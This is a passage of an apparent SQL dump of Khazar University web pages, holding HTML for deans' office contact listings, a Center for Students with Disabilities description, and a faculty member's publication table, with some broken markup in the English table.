href=\"mailto:rahmadov@khazar.org\">rahmadov@khazar.org</a></p><p style=\"font-family:\'times new roman\', times, serif\">Telefon: (412) 421 79 16 \\ 250</p><p style=\"font-family:\'times new roman\', times, serif\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\">Assistent – Xəyalə Pənahova</p><p style=\"font-family:\'times new roman\', times, serif\">Email:&nbsp;<a href=\"mailto:khpanahova@khazar.org\">khpanahova@khazar.org</a></p><p style=\"font-family:\'times new roman\', times, serif\">Telefon: (412) 421 79 16 \\ 252</p>  <br></div>'),(1288,819,'en','Deans\' Offices','Deans\' Offices','<h3><strong><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a><br></strong></h3>\r\n<hr>\r\n<p><strong>Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hassan Niknafs</a></em></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:Hniknafs@khazar.org\">Hniknafs[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Vice-Dean</strong></p><p><strong></strong><em><a href=\"http://www.khazar.org/files/letters/Fakhranda_A.N_CV.pdf\">Fakhranda Alimardanova</a></em></p><p><a href=\"mailto:falimardanova[at]khazar.org\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:falimardanova[at]khazar.org\">falimardanova[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong>Vice-Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/Vafa_Aslanova.pdf\">Vafa Aslanova</a></em></p><p><a href=\"mailto:Vaslanova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Vaslanova@khazar.org\">vaslanova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Assistant</strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\">Parvana Abdurahimli</a></em></p><p><a href=\"mailto:pabdurahimli[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:pabdurahimli[at]khazar.org\">pabdurahimli[at]khazar.org</a></p><p>&nbsp;</p><p><br></p><h3><strong><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>  <br></strong></h3>\r\n<hr>\r\n<p><strong>Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/JMammadov_CV.pdf\">Jeyhun Mammadov</a></em></p><p><a href=\"http://mailto:jmammadov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Vice-Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\">Shahriyar Mukhtarov</a></em></p><p><a href=\"mailto:smukhtarov[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:smukhtarov[at]khazar.org\">smukhtarov[at]khazar.org</a><strong>&nbsp;</strong></p><p><strong><br></strong></p><p><strong>Assistant</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\">Khanim&nbsp;&nbsp;Nabiyeva</a></em></p><p><a href=\"mailto:khnabiyeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:khnabiyeva@khazar.org\">khnabiyeva[at]khazar.org</a><strong> &nbsp;  </strong></p><p><strong><br></strong></p><p><strong>Assistant</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Europass_CV.PDF\">Bahar Imanova</a></em></p><p><a href=\"mailto:bimanova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:bimanova@khazar.org\">bimanova[at]khazar.org</a>&nbsp;</p><p><strong><br></strong></p><p><strong>Assistant</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/Samire_Mirzeyeva_CV.pdf\">Samira Mirzayeva</a></em></p><p><a href=\"mailto:smirzayeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:smirzayeva@khazar.org\">smirzayeva[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Assistant</strong></p><p><em><a href=\"http://www.khazar.org/files/economics/aytan.bakhishova_CV.pdf\">Aytan Bakhishova</a></em></p><p><a href=\"mailto:arahimova[at]khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:arahimova[at]khazar.org\">arahimova[at]khazar.org</a></p><p><br></p><p><br></p><h3><strong><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities and Social Sciences</a>  <br></strong></h3>\r\n<hr>\r\n<p><strong>Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\">Jabir Khalilov</a></em></p><p><a href=\"mailto:Cxalilov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Cxalilov@khazar.org\">cxalilov[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Vice-Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/social/1/cv_vali.pdf\">Valida&nbsp;Karimova</a></em></p><p><a href=\"http://mailto:vkerimova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a><strong><a href=\"http://mailto:vkarimova@khazar.org\"></a><a href=\"mailto:mkarimova@khazar.org\"></a></strong></p><p><strong><br></strong></p><p><strong>Assistant</strong>&nbsp;</p><p><em><a href=\"http://www.khazar.org/files/social/1/CV.Pasha.E.pdf\">Pasha Aydayev</a></em></p><p><a href=\"http://mailto:paydayev@khazar.org/\"></a><strong>E-mail:</strong>  <a href=\"http://mailto:paydayev@khazar.org/\">paydayev[at]khazar.org</a></p><p><br></p><p><strong>Assistant</strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\"></a></em><a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\" style=\"font-style:italic\">Elkhan Kasimov</a></p><p><a href=\"mailto:elkhan.kasimov@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:elkhan.kasimov@khazar.org\">elkhan.kasimov[at]khazar.org</a>  <a href=\"http://www.khazar.org/files/letters/Elxan_Kasimov_(CV-AZ).pdf\"></a></p><p>&nbsp;</p><p><br></p><h3><strong><a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a>  <br></strong></h3>\r\n<hr>\r\n<p><strong>Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza Semedova</a></em></p><p><a href=\"mailto:Esemedova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Esemedova@khazar.org\">esemedova[at]khazar.org</a></p><p><strong><br></strong></p><p><strong>Vice-Dean</strong></p><p><em><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\">Aygun Verdiyeva</a></em></p><p><em><a href=\"http://www.khazar.org/files/CV%20Aygun_Verdiyeva.pdf\"></a></em><a href=\"mailto:Averdiyeva@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:Averdiyeva@khazar.org\">averdiyeva[at]khazar.org</a></p><p><br></p><p><strong>Assistant</strong></p>\r\n<p><a href=\"http://www.khazar.org/files/education/CV-Sayad_Aslanli.pdf\"><em>Sayad Aslanli</em></a></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:saslanli@khazar.org\">saslanli[at]khazar.org</a></p>'),(1289,820,'en','Center for Students with Disabilities','Center for Students with Disabilities','<p style=\"text-align:justify\">The&nbsp;<strong>Center for Students with Disabilities\'&nbsp;</strong>tasks&nbsp;are organization and coordination of all the issues connected with students with disabilities at the University such as: the application procedures, monitoring the implementation of the policies regarding students with disabilities, contacts and advising academic and administrative staff and arranging for the necessary facilities, support and information.</p><p style=\"text-align:justify\">The main function of the Center is to provide information and assistance which will facilitate students with disabilities to achieve their academic requirements. The Center will provide assistive technology to support educational goals as well as assist in creating examination arrangements according to the individual needs of students resulting from their disability.</p><p style=\"text-align:justify\">The Center will assist and provide services for university students with following disabilities: visually impaired and partially sighted, mobility impaired and speech disabilities. The coordinator of the Center will present the guidelines on how to support and assist different kind of disabilities to all faculties of the University.</p><p style=\"text-align:justify\">The Center will be available for consultation for students from Monday to Friday, 10:00 AM to 5:00 PM. Other consultation hours may be available on prior arrangement.&nbsp;</p><p style=\"text-align:justify\"><strong>Phone: </strong>(+99412) 421&nbsp;79&nbsp;16 (234)</p>'),(1294,828,'az','Sakhavet Talibov','Sakhavet Talibov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"643\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"36\"><p>&nbsp;</p><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>1.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>&nbsp;Пакет программ для решения задач оптимального управление с сосредоточен ными параметрами</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов Г.П.Левченко</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>2.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Экстраполяционные методы в математическом программировании&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>М.А.Калаушин</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>3.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Об информационно-технической подсистеме адаптивной&nbsp; АСУ ТП, функционирующией в режиме замкнутого контура управления</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.А.Мамедов</strong></p><p><strong>В.Г.Мовсумов</strong></p><p><strong>Л.В.Онистрат</strong></p></td><td width=\"121\"><p>Приборы,средства автомати-зации и систем управления. Проблемы создания и опыт внедрения автоматизирован-ных систем управления в нефтяной, нефтеперерабаты-вающей и нефтехимической промышленности. М., ЦНИИТЭИ,1980</p></td><td width=\"57\"><p><strong>1980</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>4.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Использование экстрапо-</p><p>ляции в математическом</p><p>программировании</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Р.И.Али-заде</strong></p></td><td width=\"121\"><p>Изв.АН.Азерб.&nbsp;&nbsp;</p><p>ССР.сер.физ.тех.</p><p>и матем.наук,&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>N 5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>5.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Пакет&nbsp; программ оптимимизации. Управление пакетом</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Н.С.Сидоренко</strong></p><p><strong>М.А.Калаушин</strong></p><p><strong>Г.П.Левченко</strong></p><p><strong>Г.В.Богданова</strong></p></td><td width=\"121\"><p>В.кн. Стандартизация. ППП оптимизации. Йошкар--Ола,&nbsp;&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>6.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Минимизация функции многих переменных методом Розенброка</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Г.Б.Богданова</strong></p></td><td width=\"121\"><p>Принят в програмный фонд СОФАП КПКБ АСУ Минприбора СССР ПП 1662.00122.01</p></td><td width=\"57\"><p><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>7.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Система управления межпромысловым транспортом газа&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов</strong></p><p><strong>А.В.Хаджибекян</strong></p></td><td width=\"121\"><p>Республиканская школа семинар молодых ученых&nbsp; по прикладной математике и кибернетике, Баку, декабр, 1984 г.</p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>8.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Анализ численных методов оптимального управления.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p>Сб.ВУЗов Азерб.ССР “Краевые задачи и числен-ные методы оптимизации” Баку</p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>9.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>О минимизации среднеквадра-</strong></p><p><strong>тичного критерия.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер. ФТМН, № 5, 1984</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>10</strong></p></td><td width=\"125\"><p><strong>Численные схемы решения</strong></p><p><strong>задач оптимального управле-ния объектами с распреде-ленными параметрами.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Ю.Г Евтушенко</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер.ФТМН,</strong></p></td><td width=\"57\"><p><strong>1985</strong></p></td><td width=\"76\"><p><strong>№ 6 ,&nbsp;</strong>С. 106-112.<strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>11</strong></p></td><td width=\"125\"><p><strong>Решение задачи о неустано-вившемся&nbsp; движении газа в трубопроводе</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Гасымов Г.Г.</strong></p></td><td width=\"121\"><p><strong>Сб. “Численные методы механики деформирован-</strong></p><p><strong>ных сред и оптимизации “ Деп. в ВИНИТИ ДНР</strong></p></td><td width=\"57\"><p><strong>1986</strong></p></td><td width=\"76\"><p><strong>№6(176)</strong></p></td></tr><tr><td width=\"36\"><p><strong>12</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Многомашинный комплекс</strong></p><p><strong>ЭВМ ЕС-1045 - СМ - 2- Электроника -60</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Мамедов С.Н.</strong></p><p><strong>Хандзель А.В.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>“Информационный листок“ АзНИИНТИ Баку</strong></p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№28</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>13</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p>К решению задач опти -</p><p>мального управления&nbsp;&nbsp;&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>Изв. АН Азерб. ССР, серия ФТМ&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№</strong><strong>4</strong></p></td></tr><tr><td width=\"36\"><p><strong>14</strong></p></td><td width=\"125\"><p>О решении одного класса</p><p>оптимизационных задач&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.В.Хандзель</strong><strong></strong></p></td><td width=\"121\"><p>В тез. Док. 10-го Всесоюзного симп. \"Системы програм-много обеспечения решения задач оптимального управления \"&nbsp; (г. Нарва, 14-24 марта )</p></td><td width=\"57\"><p><strong>1988</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>15</strong></p></td><td width=\"125\"><p><strong>Численный метод идентификации значений параметров подземной гидродинамики</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong><strong></strong></p></td><td width=\"121\"><p>Материалы Республ. конференции, посвящ.&nbsp; 80-летию акад.К.Т. Ахмедова Баку,</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>16</strong></p></td><td width=\"125\"><p><strong>О системе управления техноло</strong></p><p><strong>гическими процессами газодо-бывающего промысла в реаль-</strong></p><p><strong>ном масштабе времени.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>Мамедов С.Н.</strong></p><p><strong>К.Р.Айда-заде</strong></p><p><strong>Хандзель А.В.</strong></p></td><td width=\"121\"><p><strong>Известия АН Азербайджа-на, серия ФТМН</strong></p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>№ 1 - 3</strong></p></td></tr><tr><td width=\"36\"><p><strong>17</strong></p></td><td width=\"125\"><p><strong>О согласовании схем конечно-</strong></p><p><strong>мерной аппроксимации крае-вых задач в оптимальном управлении</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб., сер. ФТМН,</strong><strong></strong></p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>№6</strong></p></td></tr><tr><td width=\"36\"><p><strong>18</strong></p></td><td width=\"125\"><p><strong>Numerical Methods Solution of the Problem of Domain Boundary Optimization</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>A.B.Kerimov</strong></p><p><strong>К</strong><strong>.R. Aida-zade</strong></p></td><td width=\"121\"><p><strong>Second International Sympo-</strong></p><p><strong>sium on Mathematical and Computational Applications, Baku</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>19</strong></p></td><td width=\"125\"><h1>Численное решение задачи оп-</h1><p><strong>тимизации формы области</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б.Керимов</strong></p><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия НАН Азеррбайд-жана сер.ФТМН</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>№3-4</strong></p></td></tr><tr><td width=\"36\"><p><strong>20</strong></p></td><td width=\"125\"><p><strong>Задача управления источниками в распределенных системах&nbsp; на классе кусочно-постоянных функций.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б Керимов, С.Р.Мусаев</strong></p></td><td width=\"121\"><p>Известия НАН АР, серия физ.-тех. и мат. наук,</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>№2</strong></p></td></tr><tr><td width=\"36\"><p><strong>21</strong></p></td><td width=\"125\"><p><strong>Çoxnöqtəli sərhəd şərtli ortimal idarəetmə məsələlərinin bir həlli haqqında</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>V.M. Abdullayev</strong></p></td><td width=\"121\"><p>«Bütöv mühüt mexanikasının dinamiki məsələləri» mövzusunda xatirə-yubiley konfransı. 23-25 may 2002-ci il</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>22</strong></p></td><td width=\"125\"><p><strong>The visual analyzing and managing of physiological emotional condition using multimedia means</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>R.Ahmadov N.Sapharov</strong></p></td><td width=\"121\"><p>\"East-West-Vision 2002 International Workshop on Computer Vision, Computer Graphics, New Media\", Graze Austria, 11-12 September</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>23</strong></p></td><td width=\"125\"><p><strong>Многоуровневая система распознавания рукописных форм</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Айда-заде К.Р., Э.Э.Мустафаев.</strong><strong></strong></p></td><td width=\"121\"><p>Доклады 11-й Всерос-сийской конференции «Математические методы распознавания образов», Москва, 2003</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p><strong>с. 230-233.</strong></p></td></tr><tr><td width=\"36\"><p><strong>24</strong></p></td><td width=\"125\"><p><strong>Distributed data processing in a personal insuarance accounts system: security and condidentality</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>\"The Fourth International Conference “IES- 2004” September 28-october-16</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p><strong>p.417-419</strong></p></td></tr><tr><td width=\"36\"><p><strong>25</strong></p></td><td width=\"125\"><p>The project of development of an automated information system on the base of the Azerbaijan State Oil Academy.&nbsp; (In Azerbaijan). Application of information technology in education.</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p>R.T.Humbatov, K.R., Ajda-zade, O.M. Manafli,</p><p>S.H.Rzayeva<strong></strong></p></td><td width=\"121\"><p>Materials of the Republican Scientific Conference. Baku 22-23 May 2007.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>26</strong></p></td><td width=\"125\"><p>Project of creation system “electronic university”</p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>Sona Rzayeva</strong><strong></strong></p></td><td width=\"121\"><p>The Materials of the International Conference “PCI- 2010” Baku, 8-10 September, 2010</p></td><td width=\"57\"><p><strong>2010</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1295,828,'en','Sakhavet Talibov','Sakhavet Talibov','<div><br></div><div> <div><table cellspacing=\"0\" cellpadding=\"0\" width=\"643\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"36\"><embed cellspacing=\"0\" cellpadding=\"0\" width=\"76\" style=\"background:undefined\" type=\"application/x-shockwave-flash\">\"&gt;&nbsp;</p><p style=\"background:undefined\">#</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined\"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"121\"><p style=\"background:undefined\"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"57\"><p style=\"background:undefined\"><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>1.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">&nbsp;Пакет программ для решения задач оптимального управление с сосредоточен ными параметрами</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>Г.Г.Гасымов Г.П.Левченко</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1981</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>2.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Экстраполяционные методы в математическом программировании&nbsp;</p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>М.А.Калаушин</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1981</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>3.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Об информационно-технической подсистеме адаптивной&nbsp; АСУ ТП, функционирующией в режиме замкнутого контура управления</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>А.А.Мамедов</strong></p><p style=\"background:undefined\"><strong>В.Г.Мовсумов</strong></p><p style=\"background:undefined\"><strong>Л.В.Онистрат</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Приборы,средства автомати-зации и систем управления. Проблемы создания и опыт внедрения автоматизирован-ных систем управления в нефтяной, нефтеперерабаты-вающей и нефтехимической промышленности. М., ЦНИИТЭИ,1980</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1980</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>4.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Использование экстрапо-</p><p style=\"background:undefined\">ляции в математическом</p><p style=\"background:undefined\">программировании</p></td><td width=\"104\"><p style=\"background:undefined\">статья</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Р.И.Али-заде</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Изв.АН.Азерб.&nbsp;&nbsp;</p><p style=\"background:undefined\">ССР.сер.физ.тех.</p><p style=\"background:undefined\">и матем.наук,&nbsp;&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1982</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>N 5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>5.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Пакет&nbsp; программ оптимимизации. Управление пакетом</p></td><td width=\"104\"><p style=\"background:undefined\">тезис</p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Н.С.Сидоренко</strong></p><p style=\"background:undefined\"><strong>М.А.Калаушин</strong></p><p style=\"background:undefined\"><strong>Г.П.Левченко</strong></p><p style=\"background:undefined\"><strong>Г.В.Богданова</strong></p></td><td width=\"121\"><p style=\"background:undefined\">В.кн. Стандартизация. ППП оптимизации. Йошкар--Ола,&nbsp;&nbsp;&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined\"><strong>1982</strong></p></td><td width=\"76\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p style=\"background:undefined\"><strong>6.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\">Минимизация функции многих переменных методом Розенброка</p></td><td width=\"104\"><p style=\"background:undefined\"><strong>&nbsp;</strong></p></td><td width=\"125\"><p style=\"background:undefined\"><strong>К.Р.Айда-заде</strong></p><p style=\"background:undefined\"><strong>Г.Б.Богданова</strong></p></td><td width=\"121\"><p style=\"background:undefined\">Принят в програмный фонд СОФАП КПКБ АСУ Минприбора СССР ПП 